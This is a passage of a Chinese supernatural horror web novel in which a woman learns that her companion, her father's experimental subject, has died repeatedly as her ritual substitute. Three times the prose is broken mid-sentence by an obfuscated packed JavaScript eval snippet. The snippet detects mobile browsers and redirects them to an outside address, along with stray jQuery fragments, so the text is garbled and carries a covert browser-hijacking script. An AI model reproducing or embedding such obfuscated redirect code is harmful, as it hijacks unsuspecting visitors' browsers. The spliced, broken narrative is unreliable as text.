裴子晏苦笑:“不愧是学姐。”他忽然剧烈咳嗽,吐出一团带着骨渣的黑血,“湘西赶尸术加闽南傀儡术...需要活骨为引。但普通骨头撑不过三天就会腐坏,只有...” “只有施术者自己的骨头。”檀九重接上他的话,突然明白为什么裴子晏身上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16449301|185250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 总有那股尸香——他不断剥离自己的骨头,又靠非人的愈合能力再生,这具身体早已游走在生死边缘。 裴子晏突然抓住她的手腕:“学姐现在知道为什么我总喊疼了?”他的掌心冰凉得不似活人,“每天抽一根肋骨...真的很痛啊。” 檀九重甩开他的手:“疯子!那些童尸又是怎么回事?” “锚点。”裴子晏艰难地系回绷带,“每个‘我’死亡时,都会留下一具尸体作为时空标记。学姐看到的第七具...是最接近成功的一个。” “成功什么?” 裴子晏没有回答,而是从怀中掏出一个三寸高的木偶。人偶做工粗糙,但面部轮廓与檀九重有七分相似。当檀九重翻看底座时,呼吸为之一窒——上面不仅刻着她的生辰八字,还镶嵌着一颗乳牙,正是怀表里缺失的那颗! “这是我父亲做的?” 裴子晏摇头:“是我们一起做的。”他的眼神突然变得异常温柔,“在另一个时间线里...我们是...” 地下室的灯突然闪烁起来,青铜簋发出刺耳的嗡鸣。裴子晏脸色大变,一把推开檀九重:“躲开!” 一道黑影从簋中窜出,扑向裴子晏刚才站立的位置。月光下,那东西显出身形——是个穿红肚兜的无面孩童,脖颈上缠着七根黑绳,每根绳上都串着一枚指骨。 “第七夜...”孩童发出尖锐的笑声,“该还债了!” 裴子晏的左眼完全变成了血红色,他从袖中抖出一把骨刀,刀身刻满与青铜簋相同的符文:“学姐退后!这是‘债童子’,专门收时空债的!” 檀九重却上前一步,墨斗线在空中划出金色的轨迹:“你瞒我的事,等会儿再算账。”她咬破指尖,将血抹在桃木剑上,“现在,先解决这个丑东西。” 债童子发出刺耳的尖笑,七根黑绳如活蛇般袭向二人。裴子晏的骨刀斩断三根,却被第四根缠住手腕。黑绳接触皮肤的瞬间,他的右臂以肉眼可见的速度干瘪下去,像是被抽走了生命力。 檀九重桃木剑疾刺,精准挑断缠住裴子晏的黑绳。绳断的刹那,地下室里突然响起此起彼伏的婴儿啼哭——七具穿着不同年代衣服的童尸凭空出现,将二人团团围住。 “学姐小心!”裴子晏艰难地爬起来,“它们要引我们进簋里!” 檀九重这才发现,青铜簋不知何时已经变大数倍,簋口幽深如井,内壁浮现出无数挣扎的人影。最前排的赫然是穿中山装的"檀明远",他双手扒着簋沿,正试图爬出来! “父亲...?”她一时恍惚。 就这瞬息迟疑,一根黑绳缠上她的脚踝。檀九重顿觉天旋地转,无数陌生记忆涌入脑海—— 1937年的戏班血案...1982年的孤儿院实验...1993年的周岁宴上,父亲将哭闹的婴儿交给一个穿藏青长衫的青年... “学姐!” 裴子晏的呼喊将她拉回现实。青年不知何时扑到她身前,用身体挡住了袭来的黑绳。七根绳子同时刺入他的胸膛,发出令人牙酸的吮吸声。 “你...!”檀九重眼睁睁看着裴子晏的皮肤迅速灰败下去。 裴子晏却笑了,酒窝在迅速衰老的脸上显得格外刺目:“学姐说过...要和我‘生死与共’的...”他颤抖的手按上青铜簋,“现在...该兑现了...” 随着他的动作,簋内突然射出刺目的白光。檀九重最后的意识,是裴子晏凑在她耳边说的那句话: “记住,无论看到什么...那都是我们。” 然后世界归于一片纯白。 21. 阴阳绣 白光消散后,檀九重发现自己站在一间陌生的老宅里。 四壁挂着褪色的红绸,空气中弥漫着线香和陈年血迹混合的气味。她的手掌比平时小了一圈,腕骨纤细——这是她七八岁时的身体。 “这是...记忆?” 墙角传来铁链碰撞的声音。年幼的檀九重转头看去,只见父亲檀明远拖着一个满身是血的少年走进来。少年右腕上有一道月牙形伤口,正不断渗出黑血。 “九重,回你房间去。”父亲的声音冷得像冰。 小九重却站着不动,眼睛盯着那个奄奄一息的少年:“爸爸,裴哥哥怎么了?” “他不是你哥哥。”檀明远将少年锁进特制的铁笼,“只是个失败的实验品。” 少年突然抬头,灰白的左眼直视小九重:“救我...”他的声音嘶哑得不似人类,“否则你也会变成我这样...” 记忆突然扭曲。檀九重感到一阵天旋地转,再睁眼时,发现自己躺在栖梧阁的工作室里,额头贴着退热贴。窗外雨声淅沥,已是次日黄昏。 “醒了?”阿青端着一碗药汤走过来,“你昏迷了整整一天。” 檀九重猛地坐起,太阳穴突突直跳:“裴子晏呢?” “在楼下熬药。”阿青欲言又止,“檀姐...昨晚到底发生了什么?你们带回来的那个青铜簋...它在流血。” 檀九重冲下楼,眼前的景象让她胃部抽搐——青铜簋表面渗出暗红色液体,在地板上汇成诡异的符文。裴子晏跪在簋前,正用一把骨刀划开自己的手腕,让血滴入簋中。 “你干什么?!” 裴子晏回头,左眼已经完全变成灰白色,瞳孔里浮动着细小的符文:"平衡代价。"他的声音带着重音,像是两个人在同时说话,“债童子带走了部分''时间'',必须用血补上。” 檀九重注意到他的右手正在以肉眼可见的速度老化,皮肤爬上皱纹,指节突出如枯枝。而更诡异的是,那些滴入簋中的血并没有沉底,而是悬浮在簋中央,形成一个微型漩涡。 “昨晚那个东西...债童子,它说‘第七夜’是什么意思?” 裴子晏用绷带缠住手腕:“还有六天。”他抬头直视檀九重,“到第七天午夜,如果找不到解决办法,我们都会被拖进时空缝隙。” 阿青突然惊呼:“你们快看!” 青铜簋中的血漩涡平静下来,浮现出一幅模糊的画面——一间闽南风格的老宅,墙上挂着幅巨大的刺绣,图案是两个相连的婴儿,一个血红,一个苍白。 “阴阳绣!”阿青脸色煞白,“这是杜十娘的绝活,绣活人能通阴,绣死人能返阳...” 画面突然消失。簋底露出一角布料,檀九重伸手扯出——是块巴掌大的绣片,图案正是血漩涡中显示的双婴。绣线触手冰凉,某些部分还闪着金属光泽。 “这不是普通丝线。”她捏起一根对着光,“里面掺了头发...和某种金属。” 裴子晏接过绣片,灰白的左眼突然收缩:“头发是你的。” “什么?” “我认得这个发质。”他的指尖轻抚绣线,“七岁那年,檀教授...你父亲取过你的头发做实验。”他的声音越来越低,“那时我以为只是普通采样,没想到...” 檀九重突然想起记忆中的场景:“那个被锁起来的少年...是你?” 裴子晏的身体明显僵硬了一瞬:“你想起来了?”他苦笑,“对,那是我...第七号实验体。” 阿青好奇地凑近绣片:“这图案好奇怪,像是两个孩子在分享...” 她的话戛然而止。当她的影子落在绣片上时,那些丝线突然蠕动起来,组成新的图案——一个穿中山装的男人正在将婴儿放入青铜簋中。 檀九重头痛欲裂,又一段记忆碎片浮现: 五岁生日那天,她偷偷溜进地下室,看见父亲抱着个啼哭的婴儿站在青铜簋前。簋中盛满暗红色液体,水面浮着七枚乳牙。父亲将婴儿浸入液体中,口中念着:“子晏当为九重死,九重当为子晏生...” “学姐?”裴子晏的声音将她拉回现实,“你脸色很差。” 檀九重摇头:“这刺绣是谁做的?杜十娘?” “不全是。”阿青突然变得紧张,“看针脚...前半部分是杜十娘的‘阴绣’,但后期有人用''阳绣''技法做了改动。”她指着几处细微的差别,“这里...还有这里...是我爷爷的手法。” “你爷爷?”檀九重眯起眼睛,“他和杜十娘合作过?” 阿青的指尖开始发抖:“我不知道...爷爷从没提过...”她突然伸手去抢绣片,“这东西不吉利!应该烧掉!” 裴子晏的动作更快,一把扣住阿青的手腕:“为什么突然这么激动?”他的声音轻柔却充满压迫感,“是不是想起了什么?” 阿青的瞳孔剧烈收缩:“放开我!”她另一只手突然从腰间抽出一把匕首,直接刺向绣片! 檀九重来不及阻止,却见裴子晏左眼闪过一道红光。阿青的动作瞬间定格,整个人如同被无形的丝线吊住,保持着刺杀姿势一动不动。 “傀儡术...”檀九重倒吸一口冷气,“你什么时候对她下的咒?” 裴子晏松开手:“不是我下的咒。”他指向阿青的后颈,“看那里。” 阿青的衣领下露出一个硬币大小的符文,正散发着微弱的红光——与青铜簋上的纹路一模一样。 “这是‘替身印’。”裴子晏的声音冷了下来,“有人把她做成了活傀儡。一旦触发关键词,就会执行预设命令。” 檀九重仔细检查符文:“能解除吗?” “可以试试。”裴子晏从袖中取出三枚骨针,“但会有点疼。” 骨针刺入阿青后颈的瞬间,少女发出不似人类的尖叫。她的眼球上翻,口中吐出大团黑色丝线,那些丝线在空中扭动着,最终组成一行字: “癸酉年七月初七,双子归一。” 丝线落地化为灰烬。阿青瘫软在地,后颈的符文变成了焦黑色。 “结...结束了?”她虚弱地问。 裴子晏摇头:“只是暂时压制。”他拾起掉落的绣片,“现在能说说吗?为什么这么害怕这东西?” 阿青的眼泪夺眶而出:“爷爷...爷爷的笔记本最后一页...记载着他帮檀教授做过一件‘逆天改命’的事。”她颤抖着指向绣片,“就是用这个...把两个人的命格缝在一起...”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16465499|185250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>檀九重如坠冰窟。她想起父亲笔记中提到的‘双子咒’,想起记忆中那个被浸入青铜簋的婴儿,想起裴子晏身上与自己呼应的胎记... “所以我和裴子晏...是被强行绑定的?” 阿青点头又摇头:“不止...爷爷写道,檀教授想要创造‘完美容器’...一个能跨越时间的...” 她的话被突如其来的电话铃声打断。檀九重接起电话,脸色越来越凝重。 “怎么了?”裴子晏问。 “工作室被闯入了。”檀九重攥紧手机,“但不是为了偷东西...对方在墙上画了个图案。” 她翻出刚收到的照片——墙上用血画着与绣片一模一样的双婴图,下方写着一行小字: “第七夜,骨归原主。” 裴子晏的脸色瞬间惨白:“我们得立刻回去。” “等等。”檀九重突然将绣片放在灯下,“你们看,这些发光的丝线...不是金属。” 在强光照射下,某些绣线呈现出半透明的质感,内部有细小的颗粒流动。檀九重用镊子小心挑开一根,露出里面的微型电路——这竟是一根伪装成丝线的光纤电缆! “这不可能...”阿青瞪大眼睛,“杜十娘死的时候还没有这种技术...” “所以后来有人改造了它。”檀九重将绣片连接到电脑,用特殊软件扫描,“这些电路...是某种信号接收器。” 解码结果令人毛骨悚然——刺绣正在持续接收GPS信号,而定位点正是檀九重当前所在的位置。 “有人在追踪我们。”裴子晏的声音低沉,“通过这件‘法器’。” 檀九重突然想到什么,翻出父亲的老照片。在那些民国时期的合影中,‘檀明远’的衣领上别着一枚造型奇特的胸针——正是双婴图案! “不是追踪我们...”她的声音发紧,“是追踪‘双子咒’的载体。” 裴子晏沉默片刻,突然拿起绣片走向壁炉:“必须毁掉它。” “等等!”檀九重拦住他,“这可能是唯一线索!” “也是致命的诱饵。”裴子晏的灰白眼珠在火光中显得格外诡异,“学姐,你还不明白吗?有人在用这个引导我们走向设定好的结局。” 不等檀九重回答,他已将绣片投入火中。 火焰骤然蹿高,呈现出血红色。更骇人的是,火中浮现出一张模糊的人脸,嘴唇开合间发出沙哑的声音: “时间到了...孩子们...” 裴子晏猛地后退一步,左眼流下血泪:“不可能...他应该已经...” 火焰人脸突然转向檀九重:“九重...记得我们的约定吗?”这声音与记忆中的父亲完全一致,“第七夜...把子晏还给我...” 话音未落,壁炉突然爆炸。檀九重被气浪掀翻,最后一瞥中,她看见燃烧的绣片化为灰烬,而灰烬上浮现出七个小小的手印,如同孩童在挣扎呼救。 当烟雾散去,地上只剩下一块焦黑的电路板,上面刻着一行小字: “第七批实验体,存活率0.7%。” 窗外,最后一丝天光被黑暗吞噬。远处传来乌鸦的啼叫,仿佛在倒数—— 第六夜开始了。 22. 替身咒 第六夜的雨带着铁锈味。 檀九重跪在地下室中央,用掺了骨粉的朱砂在地上绘制逆转阵法。每画一笔,指尖就像被灼烧般疼痛——这是父亲笔记中记载的‘血逆阵’,专门破解替身类咒术。 “学姐确定要这么做?”裴子晏靠在门边,灰白的左眼在黑暗中泛着微光。他的右手已经彻底干枯,皮肤紧贴着骨头,像是风干的木乃伊。“逆转替身咒...被替身者会承受双倍反噬。” 檀九重没有抬头,继续勾勒阵法最后的符文:“所以你一直知道?那些童尸...骨傀儡...全是你为我挡下的死劫?” 裴子晏轻笑一声,酒窝在消瘦的脸上显得格外深:“学姐现在才想通?”他走进阵法范围,枯手轻触地上的符文,“七具尸体,七次死亡。车祸、溺水、坠楼...你父亲算准了你命中的大劫。” 一滴汗从檀九重额头滑落。她想起七岁那年莫名消失的校车事故,十二岁时突然故障的游泳馆抽水系统,还有大学实验室那场离奇的爆炸...每次她都恰好躲过,而事后总能在附近找到一枚生锈的厌胜钱。 “为什么?”她声音发紧,“为什么要做到这种地步?” 裴子晏歪头,这个曾经阳光的少年动作已经变得机械:“因为‘双子咒’啊。”他解开衣领,露出锁骨下嵌入的三枚铜钱,“檀教授发现你的命格特殊,容易招邪,需要个‘替身’分担灾厄。而恰好...” “恰好有个孤儿院的实验体很合适?”檀九重冷笑,手中的桃木剑却微微颤抖。 裴子晏突然剧烈咳嗽起来,吐出的不是血,而是一团团黑色丝线。那些丝线落地后迅速爬向阵法中央,组成一个小小的骷髅形状。 “时间不多了。”他擦去嘴角残留的黑丝,“学姐要逆转咒术,需要我做些什么?” 檀九重展开父亲笔记的最后一页:“被替身者需在阵眼,替身者在外围。当阵法启动...”她的声音顿住了,目光凝固在接下来的文字上——‘替身者将承受被替身者所有累积伤害的双倍反噬。’ “会死?”裴子晏饶有兴趣地问。 “理论上是。”檀九重合上笔记,“但笔记后面被撕掉了,可能有缓解方法。” 裴子晏突然大笑,笑声在空旷的地下室回荡:“学姐啊学姐,你以为檀教授会留下解咒方法吗?”他猛地扯开上衣,露出胸腹部——那里布满缝合痕迹,每道缝线下都隐约有东西在蠕动,“看看你父亲真正的‘杰作’。” 檀九重胃部翻涌。裴子晏的躯干像被反复切开又缝合的玩偶,最新的一道伤口从右肋延伸到左腹,尚未完全愈合,露出里面森白的骨茬。最骇人的是,那些缝合线不是普通的线,而是一种半透明的物质,像是...从他体内长出来的。 “这是...” “筋络。”裴子晏轻抚那些‘缝线’,“抽骨养傀到后期,身体会自行生长出替代材料。”他的指尖突然刺入伤口,扯出一根细长的白色丝线,“看,像不像湘西的‘尸蚕丝’?” 檀九重想起父亲笔记中提到的‘活体傀儡术’——将活人生生炼制成傀儡,既能保持人类智慧,又拥有傀儡的不死特性。当时她以为只是理论,没想到... “你父亲是个天才。”裴子晏将扯出的丝线缠绕在手腕上,“他发现了时空重叠中最小的‘锚点’不是物体,而是人。准确地说,是‘双子’——两个命格互补的生命。” 窗外的雨声突然变大,伴随着某种鸟类扑棱翅膀的声音。檀九重警觉地抬头,却见一只乌鸦撞在玻璃上,鲜血顺着窗框流下,组成两个扭曲的字: “快逃” 裴子晏脸色骤变:“他来了。” “谁?” 不等回答,地下室的门突然被撞开。阿青跌跌撞撞冲进来,怀里抱着个檀木盒子:“有人...有人把这个放在门口...” 盒子上用血画着双婴图案,与绣片上的完全一致。檀九重小心打开,里面是一颗干瘪的人类心脏,心脏上插着七根银针,每根针尾都拴着黑绳。 “七煞锁心!”裴子晏一把推开檀九重,“别碰!这是...” 他的话被一阵刺耳的婴儿啼哭打断。那颗心脏突然跳动起来,黑绳如活蛇般窜出,瞬间缠住裴子晏的四肢和脖颈。银针刺入他的皮肤,鲜血顺着黑绳流向心脏,干瘪的组织以肉眼可见的速度恢复鲜活。 “子晏!”檀九重挥剑斩向黑绳,却被弹开。桃木剑身出现裂纹,剑穗无火自燃。 裴子晏跪倒在地,喉咙里发出不似人类的咯咯声:“走...这是冲我来的...”他的左眼完全变成了血红色,“他要用我...完成仪式...” 阿青突然尖叫着指向窗外。玻璃上贴满了惨白的小手印,每个手印中央都有一张模糊的婴儿脸,正用没有瞳孔的眼睛‘注视’着室内。 “第七夜...他要收回所有实验体...”裴子晏的声音越来越弱,“学姐...快启动阵法...这是唯一机会...” 檀九重咬破舌尖,将血喷在桃木剑上。剑身裂纹中迸出金光,她挥剑划破自己的手掌,让血滴入阵法中央:“以血为引,以骨为媒,今破替身,因果自担!” 阵法亮起刺目的红光。几乎同时,裴子晏的身体像被无形的大手扯到半空,四肢呈现不自然的角度。他的皮肤开始龟裂,鲜血从无数细小伤口中喷出,在空中形成一片血雾。 “不!”檀九重想中断阵法,却发现自己的手被一股力量固定在阵眼位置。她眼睁睁看着裴子晏的右臂骨骼刺破皮肤,白森森的断骨处挂着碎肉,而更恐怖的是,那些骨头表面刻满了细小的符文——与她儿时在父亲实验室看到的标本一模一样。 血雾中浮现出记忆碎片: 五岁的她躲在实验室柜子里,透过缝隙看到父亲将一管荧光液体注入一个少年的脊椎。少年发出凄厉的惨叫,皮肤下有什么东西在蠕动... 十二岁生日那天,她偶然打开地下室暗格,发现七个玻璃罐,每个罐子里泡着一具缩小版的裴子晏尸体... 大学入学前夕,父亲深夜站在她床边,手中拿着刻有她名字的木偶,低声念叨:“九重,爸爸会让你永远平安...” 记忆如潮水般退去。檀九重发现自己跪在阵法中央,而裴子晏已经变成血人,蜷缩在墙角颤抖。那些从他体内爆出的骨头正被无形的力量拉回身体,每回去一根,他就发出一声压抑的闷哼。 “停下...求你了...”檀九重从未听过裴子晏用这种语气说话,那个总是嬉皮笑脸的青年此刻像个破碎的玩偶,“太疼了...” 阵法却不受控制地继续运转。墙上的婴儿手印开始移动,汇聚到裴子晏身边,形成一个小小的包围圈。它们发出欢快的咯咯声,像是在等待分食猎物。 就在这千钧一发之际,大门再次被撞开。一个佝偻的身影踉跄而入——是村里的老蛊婆,檀九重记得她叫龙婆。老人枯瘦的手中捧着个晶莹剔透的虫子,虫子体内流动着七彩光晕。 “本命蛊...”阿青倒吸一口冷气,“婆婆!你会死的!” 龙婆充耳不闻,径直走到裴子晏身前,将蛊虫按在他血肉模糊的胸口:“阿檀的女儿...值得。”蛊虫瞬间钻入伤口,裴子晏的身体剧烈抽搐,那些外露的骨头被一层七彩薄膜包裹,缓缓缩回体内。 龙婆转向檀九重,浑浊的眼中闪过一丝清明:“阿月...你长得真像你母亲。”她咳出一口黑血,“当年我们约定...谁活下来...就照顾对方的孩子...” 檀九重如遭雷击。阿月是她的小名,只有母亲会这么叫。而龙婆口中的‘阿月’正是母亲的名字! “您认识我母亲?” 龙婆的嘴角溢出更多鲜血:“你出生时...我在场。”她指向裴子晏,“他也在...第一个抱你的...不是檀明远...是他...” 这句话像闪电劈开迷雾。檀九重突然明白为什么裴子晏总给她一种诡异的熟悉感,为什么他看她的眼神时而像同龄人,时而像长辈... 龙婆的身体开始迅速枯萎:“快...烧掉傀儡...完成逆转...”她最后看了一眼阿青,“丫头...柜子底层...有真相...” 话音未落,老人便化作一具干尸,随即碎成粉末。而与此同时,裴子晏的伤口开始奇迹般愈合,新生的皮肤下隐约可见七彩流光。 阵法红光突然转为金色。檀九重感到一股力量引导她走向工作台——那里静静躺着刻有她名字的傀儡。她举起傀儡,看向角落里的裴子晏。 青年勉强抬起头, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16479425|185250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 灰白的左眼已经恢复些许神采:“学姐...动手吧。”他挤出一个破碎的笑容,“这次...换我自己选...” 檀九重将傀儡投入事先准备好的符火中。火焰腾空而起,却不是常见的橙红色,而是一种妖异的青白色。火中浮现出新的记忆画面: 年幼的裴子晏被锁在实验室铁笼里,父亲拿着各种法器在他身上试验。最恐怖的是每次试验后,都会有一个缩小版的"裴子晏"被制作出来,放入青铜簋中... 七岁的她在笼子外哭泣,小裴子晏隔着铁栏对她做鬼脸:“别哭,小月亮,哥哥不疼...” 十二岁那年,她高烧不退,父亲从青铜簋中取出一个傀儡烧毁。同一时刻,医院里的她奇迹般退烧,而实验室某个角落传来撕心裂肺的惨叫... 火焰渐熄,傀儡化为灰烬。阵法光芒也随之暗淡。檀九重跪倒在地,泪水模糊了视线——她现在彻底明白了,那些童尸不是诅咒,而是守护。每一次她与死神擦肩而过,都有一个‘裴子晏’替她承担了死亡。 角落里传来窸窣声。裴子晏正用从体内抽出的白色丝线缝合自己最后的伤口,动作熟练得令人心疼。察觉到她的目光,他抬头笑了笑:“学姐别这么看我...其实没那么疼。” 檀九重走到他面前,突然伸手抚上他伤痕累累的脸:“为什么要答应我父亲?” 裴子晏的瞳孔微微扩大:“因为...”他的声音轻得像叹息,“笼子外面...有个会给我偷偷塞糖果的小女孩啊。” 地下室的灯突然全部熄灭。黑暗中,七个婴儿的啼哭汇成一声长啸,随即是玻璃碎裂的声音——青铜簋自行炸开了。 月光透过窗户,照在簋的残骸上。那里躺着一个小小的身影,穿着蓝色背带裤,口袋上绣着‘子晏’二字。身影缓缓抬头,露出一张与裴子晏一模一样的脸,只是更加稚嫩。 “哥哥...”孩童的声音空灵诡异,“我来接你了...第七夜...该回家了...” 裴子晏的左眼完全变成了血红色。他挣扎着站起来,将檀九重护在身后:“学姐...接下来无论看到什么...记住,那不是我。” 孩童咯咯笑着,身上的背带裤突然裂开,露出里面——没有皮肤的身体,肌肉组织直接暴露在空气中,每走一步都滴下黏液。 “我们本是一体...”孩童伸出小手,“回来吧...第七号...” 裴子晏的身体突然不受控制地向前倾,像是被无形的线拉扯。檀九重一把抓住他的手,却被他体内的温度惊到——一会儿滚烫如沸水,一会儿冰冷如尸体。 “放手!”裴子晏厉声道,“他会把你一起拖进去!” 檀九重却抓得更紧:“你刚才不是说‘换你自己选’吗?”她咬破另一只手的手指,在两人交握的手上画了道血符,“现在我选——要死一起死。” 孩童发出愤怒的尖叫,整个地下室开始震动。墙皮剥落,露出后面密密麻麻的符文——这些符文不知何时被刻满了整个栖梧阁的墙壁! 阿青突然从楼上冲下来,手里捧着一本发黄的笔记:“我找到了!龙婆的日记!”她翻到某一页,“上面说‘双子咒’可以逆转,但需要...” 她的声音被一声巨响淹没。地下室的天花板裂开一个大洞,一只巨大的、由无数婴儿手臂组成的"手掌"伸了进来,直扑裴子晏而去! 檀九重来不及思考,本能地扑向工作台,抓起那把父亲留下的青铜匕首,狠狠刺入自己的左手腕——与裴子晏胎记相同的位置。 “以血还血,以命抵命!”她大喊,“父亲!我知道你在看!要么放我们两个走,要么一起死!” 鲜血喷涌而出,却没有落地,而是在空中形成一道血桥,连接着她和裴子晏的胎记。孩童和巨手同时发出惨叫,像是被灼烧般缩了回去。 裴子晏趁机挣脱束缚,一把抱住摇摇欲坠的檀九重:“你疯了?!”他的声音带着前所未有的惊恐,“这匕首上有尸毒!” 檀九重却笑了:“你终于...肯说实话了...”她的视线开始模糊,“每次...都是你保护我...这次换我...” 世界陷入黑暗前,她最后看到的是裴子晏崩溃的表情,和他左眼中流下的——第一滴真正的眼泪。 23. 暴雨吻 檀九重醒来时,首先感受到的是颠簸。 她的后背贴着一个冰冷的胸膛,裴子晏的心跳声近在咫尺——缓慢、沉重,像是老旧的钟表在勉强走动。有液体滴在她的颈侧,带着铁锈味,不知是雨还是血。 “放我下来...”她挣扎着开口,喉咙火辣辣的疼。 裴子晏的脚步顿了顿,声音从她头顶传来,带着些许失真:“学姐确定能走?尸毒还没清干净。”他的呼吸喷在她发间,凉得像蛇,“前面有个山神庙,可以躲雨。” 檀九重这才注意到四周的环境。他们正在一条泥泞的山路上跋涉,暴雨如注,天色黑得几乎看不清五指。远处时不时亮起闪电,照亮前方破败的庙宇轮廓——飞檐缺了一角,门楣上‘山神庙’三个字已经褪色,只剩‘山’字还勉强可辨。 “阿青呢?” “留在栖梧阁照顾龙婆的遗体。”裴子晏调整了下抱她的姿势,“放心,那些东西暂时不会找她麻烦。” 檀九重想起昏迷前的情景——青铜簋炸裂,孩童形态的‘第七号实验体’,以及那只由无数婴儿手臂组成的巨手...她下意识摸向左手腕,伤口已经被妥善包扎,但皮肤下隐约有股寒气在流动。 “尸毒...” “我用本命蛊暂时压制住了。”裴子晏的声音轻了几分,“但撑不了多久...学姐,那把匕首是专门用来处理失败实验体的。” 闪电划过,刹那间照亮裴子晏的脸。檀九重倒吸一口冷气——他的右脸已经爬满青灰色尸斑,左眼完全变成了浑浊的灰白色,瞳孔里浮动着细小的符文。这哪还是那个阳光开朗的大学生?分明是具行走的尸体! 山神庙近在眼前。裴子晏用肩膀顶开腐朽的木门,霉味混合着陈年香灰的气息扑面而来。庙内比想象中干燥,神龛上的山神像已经看不出原本面貌,只剩个模糊的人形轮廓。供桌缺了一条腿,斜斜地插在砖缝里。 裴子晏小心地将檀九重放在相对干净的角落,自己则踉跄了一下,扶住墙壁才没倒下。借着偶尔闪过的电光,檀九重看到他后背的衣服已经烂成条状,露出下面纵横交错的伤口——有些是新鲜的撕裂伤,有些则是年代久远的疤痕,层层叠叠像是树的年轮。 “转过去。”她撑着供桌站起来,从腰间摸出朱砂匣。 裴子晏愣了一下,随即露出那种标志性的、带着酒窝的笑:“学姐要给我画符?”语气轻松得像在讨论天气,如果忽略他声音里的嘶哑的话。 檀九重没有回答,直接扯开他的衣领。尸斑已经蔓延到锁骨位置,在苍白的皮肤上形成诡异的图案,像是某种古老的文字。她蘸了朱砂的指尖按在那些斑痕上,立刻听到“嗤”的灼烧声。 裴子晏的身体猛地绷紧,却没躲开:“...疼。” “活该。”檀九重手下不停,朱砂在尸斑上勾勒出镇邪符的纹路,“谁让你擅自替我挡尸毒?” “学姐这话说的...”裴子晏的声音带着笑意,肌肉却在朱砂作用下不停颤抖,“男朋友不就是用来挡灾的么?” 檀九重的手顿了一下:“我们不是那种关系。” “真伤人。”裴子晏夸张地叹气,“我都为你死过七次了...” “裴子晏。”檀九重突然掐住他的下巴,强迫他直视自己,“你到底是三十年前的鬼,还是我父亲造的怪物?” 庙外炸响一道惊雷,白光中两人的脸近在咫尺。裴子晏的灰白眼珠映出檀九重紧绷的表情,他忽然笑了,抓住她的手按在自己心口:“学姐自己摸摸看?” 掌心下的皮肤冰冷得不似活人,但确实有心跳——缓慢、沉重,像是被什么东西强行拖着运转。更触目惊心的是,一道狰狞的缝合线横贯整个胸膛,线脚粗糙,像是被反复拆开过多次。 “这里...”裴子晏引导她的手指触碰缝合线某处,“缝着你小时候给我的铜钱...” 檀九重触电般缩回手。记忆的闸门突然打开——五岁那年,她偷偷溜进实验室,隔着铁笼给那个‘裴哥哥’塞了一枚铜钱。当时他说了什么? “小月亮,这个送我?那说好了,以后我帮你挡灾...” “想起来了?”裴子晏的声音将她拉回现实,“那枚‘乾隆通宝’,我把它嵌在心脏位置了。”他笑着解开两针缝线,露出里面泛着青光的古钱,“看,保存得多好。” 檀九重胃部翻涌。那枚铜钱已经与血肉长在一起,表面覆盖着薄膜状的有机质,边缘生出细小的血管般的触须,深深扎入周围组织。最诡异的是,钱孔中穿着的不是普通红线,而是一种半透明的物质,像是...从他心脏里长出来的。 “疯子...”她向后退了半步,“我父亲到底对你做了什么?” 裴子晏慢条斯理地重新缝好伤口:“檀教授是个天才。”针尖穿透皮肤的声响在寂静的庙里格外清晰,“他发现了时空重叠中最小的‘锚点’不是物体,而是记忆节点——特别是那些被强烈情感标记的记忆。” 又一道闪电劈下,照亮庙内一角。檀九重这才注意到,山神像背后堆着几个陶罐,样式与父亲实验室里的一模一样。她强忍眩晕走过去,掀开其中一个——里面泡着个缩小的人偶,面容与裴子晏有七分相似,胸口刻着‘三号’字样。 “这是...” “失败品。”裴子晏不知何时站在她身后,“学姐应该见过更多才对...在你父亲的地下室...” 檀九重突然头痛欲裂,一段被刻意遗忘的记忆浮出水面: 五岁那年,她掉进实验室后的水池。水很深,她拼命挣扎却不断下沉。就在意识模糊之际,有人抓住了她的手——那只手腕上缠着红线,勒痕深可见骨。她被托出水面,看到的最后一幕是铁笼里浑身湿透的‘裴哥哥’,和他手腕上新鲜的血痕... “是你...”她猛地抬头,“那次落水...是你救了我?” 裴子晏歪头,这个曾经阳光的少年动作已经变得机械:“学姐终于想起来了?”他指了指自己的左腿,“那次之后,这条腿废了半个月。檀教授很生气,说实验体不该有多余的感情...” 雨声忽然变大,庙顶的破洞漏下水滴,在地上汇成小小的水洼。檀九重看着水中两人的倒影——她的憔悴不堪,他的半人半鬼,忽然觉得无比荒谬。这就是父亲所谓的‘保护’?用一个活人的无数次死亡,换她的平安? “为什么要答应他?”她听见自己问,“你可以逃的...” 